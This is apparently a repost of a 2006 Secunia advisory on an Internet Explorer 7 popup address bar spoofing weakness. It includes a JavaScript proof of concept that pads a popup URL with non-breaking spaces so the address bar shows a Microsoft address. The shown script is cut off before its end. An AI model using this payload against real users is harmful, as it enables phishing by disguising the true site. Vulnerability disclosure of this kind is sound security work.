MS Internet Explorer 7 Popup Address Bar Spoofing Weakness

代码:
<!--
Secunia Advisory:     SA22542      
Release Date:      2006-10-25
Impact:      Spoofing
Solution Status:    Unpatched
Software:      Microsoft Internet Explorer 7.x

Description:
A weakness has been discovered in Internet Explorer, which can be exploited by malicious
people to conduct phishing attacks.

The problem is that it&#39;s possible to display a popup with a somewhat spoofed address bar
where a number of special characters have been appended to the URL. This makes it possible
to only display a part of the address bar, which may trick users into performing certain
unintended actions.

Secunia has constructed a demonstration, which is available at:
[url]http://secunia.com/internet_explorer_7_popup_address_bar_spoofing_test/[/url]

The weakness is confirmed in Internet Explorer 7 on a fully patched Windows XP SP2 system.

Solution:
Do not follow links from untrusted sources.

Provided and/or discovered by:
Discovered by an anonymous person.

<script language="JavaScript">
function StartTest()
{
var padding = &#39;&#39;;
for ( i=0 ; i<108 ; i++)
{
padding += unescape("%A0");
}
newWindow = window.open("", "Win", "width=500,height=325,scrollbars=yes");
newWindow.moveTo( (screen.width-325) , 0 );
newWindow.document.location = "/result_22542/?" + unescape("%A0") + unescape("%A0") + "[url]http://www.microsoft.com/[/url]"+padding;
document.location = "[url]http://www.microsoft.com/windows/ie/default.mspx[/url]";
}
